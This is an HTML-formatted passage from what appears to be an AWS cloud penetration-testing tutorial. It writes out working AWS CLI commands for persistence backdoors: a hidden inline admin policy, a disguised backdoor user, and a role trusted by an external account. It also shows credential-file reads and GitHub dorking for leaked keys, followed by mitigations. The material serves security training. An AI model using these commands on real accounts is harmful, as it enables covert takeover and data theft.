policy!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-user-policy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --user-name support-user \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-name HiddenAdminPolicy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document &amp;#34;{\&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;,\&amp;#34;Statement\&amp;#34;: [{\&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;,\&amp;#34;Action\&amp;#34;: \&amp;#34;*\&amp;#34;,\&amp;#34;Resource\&amp;#34;: \&amp;#34;*\&amp;#34;}]}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Hide administrator permissions (without directly attaching AdministratorAccess)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The difference:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Policies attached with &lt;code&gt;attach-user-policy&lt;/code&gt; can be viewed directly through &lt;code&gt;list-attached-user-policies&lt;/code&gt;, making them easy to spot:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;By contrast,&lt;/strong&gt; &lt;code&gt;put-user-policy&lt;/code&gt;** creates an inline policy, which does not appear in** &lt;code&gt;list-attached-user-policies&lt;/code&gt;** by default!**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It only shows up after a deeper check with &lt;code&gt;get-user-policy&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This means that even if an administrator runs&lt;/strong&gt; &lt;code&gt;list-attached-user-policies&lt;/code&gt;&lt;strong&gt;, they will not see anything unusual about the permissions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h5 id="4-hide-the-user-further"&gt;&lt;a href="#4-hide-the-user-further" class="header-anchor"&gt;&lt;/a&gt;4. Hide the User Further&#10;&lt;/h5&gt;&lt;p&gt;Administrators usually review active IAM users regularly. An attacker can use &lt;code&gt;iam:UpdateLoginProfile&lt;/code&gt; to disable password-based login for the user, making it look like a &amp;ldquo;harmless&amp;rdquo; API account (if this returns an error, the user did not have login access in the first place, so there is nothing to disable):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam update-login-profile --user-name support-user --password-reset-required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;This user &lt;strong&gt;cannot log in through the AWS Management Console&lt;/strong&gt;, but &lt;strong&gt;can still use its access key through the API/CLI to control the AWS account!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If an administrator only checks users with web login access, they may not notice that this &amp;ldquo;backdoor user&amp;rdquo; still exists!&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="shadow-account-technique"&gt;&lt;a href="#shadow-account-technique" class="header-anchor"&gt;&lt;/a&gt;Shadow Account Technique&#10;&lt;/h4&gt;&lt;p&gt;The previous technique targeted users; this one targets IAM roles.&lt;/p&gt;&#10;&lt;p&gt;A &lt;strong&gt;shadow account (Shadow User)&lt;/strong&gt; is an &lt;strong&gt;even stealthier backdoor technique&lt;/strong&gt;. The key ideas are:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create an IAM user that will not appear in&lt;/strong&gt; &lt;code&gt;list-users&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Use AWS resource trust relationships so the attacker can access AWS under that account&amp;rsquo;s identity&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The basic idea behind creating a shadow account&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Create an IAM role and allow an external account to access it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-role --role-name backup-support-role --assume-role-policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AWS&amp;#34;: &amp;#34;65025******&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document &amp;#39;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:CreateAccessKey&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListUsers&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:GetUser&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListAttachedUserPolicies&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:ListUserPolicies&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:GetUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:AttachUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;iam:PutUserPolicy&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:ListAllMyBuckets&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:ListBucket&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;s3:GetObject&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-role --role-name backup-support-role --assume-role-policy-document &amp;#34;{\&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;,\&amp;#34;Statement\&amp;#34;: [{\&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;,\&amp;#34;Principal\&amp;#34;:{ \&amp;#34;AWS\&amp;#34;: \&amp;#34;65025******\&amp;#34;},\&amp;#34;Action\&amp;#34;: \&amp;#34;sts:AssumeRole\&amp;#34; }]}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document &amp;#34;{ \&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;, \&amp;#34;Statement\&amp;#34;: [ { \&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;, \&amp;#34;Action\&amp;#34;: [ \&amp;#34;iam:CreateUser\&amp;#34;, \&amp;#34;iam:CreateAccessKey\&amp;#34;, \&amp;#34;iam:ListUsers\&amp;#34;, \&amp;#34;iam:GetUser\&amp;#34;, \&amp;#34;iam:ListAttachedUserPolicies\&amp;#34;, \&amp;#34;iam:ListUserPolicies\&amp;#34;, \&amp;#34;iam:GetUserPolicy\&amp;#34;, \&amp;#34;iam:AttachUserPolicy\&amp;#34;, \&amp;#34;iam:PutUserPolicy\&amp;#34;, \&amp;#34;s3:ListAllMyBuckets\&amp;#34;, \&amp;#34;s3:ListBucket\&amp;#34;, \&amp;#34;s3:GetObject\&amp;#34; ], \&amp;#34;Resource\&amp;#34;: \&amp;#34;*\&amp;#34; } ] }&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;The &lt;code&gt;65025&lt;/code&gt;** account can access this role at any time through** &lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;strong&gt;, and administrators will not see this backdoor in&lt;/strong&gt; &lt;code&gt;list-users&lt;/code&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even if an administrator deletes the IAM user created by the attacker, the attacker can still use&lt;/strong&gt; &lt;code&gt;AssumeRole&lt;/code&gt;** to access AWS!**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is pretty interesting.&lt;/p&gt;&#10;&lt;p&gt;In practice, it simply creates a highly privileged IAM role and configures it to trust an external AWS account ID. That external account can then obtain credentials for the role anytime, from anywhere.&lt;/p&gt;&#10;&lt;h2 id="advanced-attack-techniques"&gt;&lt;a href="#advanced-attack-techniques" class="header-anchor"&gt;&lt;/a&gt;Advanced Attack Techniques&#10;&lt;/h2&gt;&lt;h3 id="aws-cli-credential-leaks"&gt;&lt;a href="#aws-cli-credential-leaks" class="header-anchor"&gt;&lt;/a&gt;AWS CLI Credential Leaks&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Learn where AWS CLI credentials are stored, the common ways they get leaked, and how leaked AWS access credentials can be used to take control of an AWS account.&lt;/p&gt;&#10;&lt;h4 id="where-aws-cli-credentials-are-stored"&gt;&lt;a href="#where-aws-cli-credentials-are-stored" class="header-anchor"&gt;&lt;/a&gt;Where AWS CLI Credentials Are Stored&#10;&lt;/h4&gt;&lt;p&gt;By default, AWS CLI access credentials are stored in the &lt;code&gt;~/.aws/credentials&lt;/code&gt; and &lt;code&gt;~/.aws/config&lt;/code&gt; files under the user&amp;rsquo;s home directory:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat ~/.aws/credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows path&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type C:\Users\USERNAME\.aws\credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example contents&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[default]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_access_key_id = AKIAIOSFODNN7EXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If an attacker can access this file, they can take full control of the AWS account.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="common-ways-aws-cli-credentials-get-leaked"&gt;&lt;a href="#common-ways-aws-cli-credentials-get-leaked" class="header-anchor"&gt;&lt;/a&gt;Common Ways AWS CLI Credentials Get Leaked&#10;&lt;/h4&gt;&lt;h5 id="1-leaks-in-source-code"&gt;&lt;a href="#1-leaks-in-source-code" class="header-anchor"&gt;&lt;/a&gt;1. Leaks in Source Code&#10;&lt;/h5&gt;&lt;p&gt;Developers often &lt;strong&gt;hard-code&lt;/strong&gt; AWS credentials directly into their code:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_access_key_id = &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_secret_access_key = &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s3 = boto3.client(&amp;#34;s3&amp;#34;, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the code is uploaded to GitHub or another code repository, attackers can discover the AWS credentials through GitHub Dorking.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;github.com search: &amp;#34;aws_access_key_id filetype:env&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use AWS IAM roles instead of exposing an &lt;code&gt;Access Key&lt;/code&gt; directly.&lt;/li&gt;&#10;&lt;li&gt;Enable GitHub &lt;strong&gt;Secret Scanning&lt;/strong&gt; to detect leaked AWS 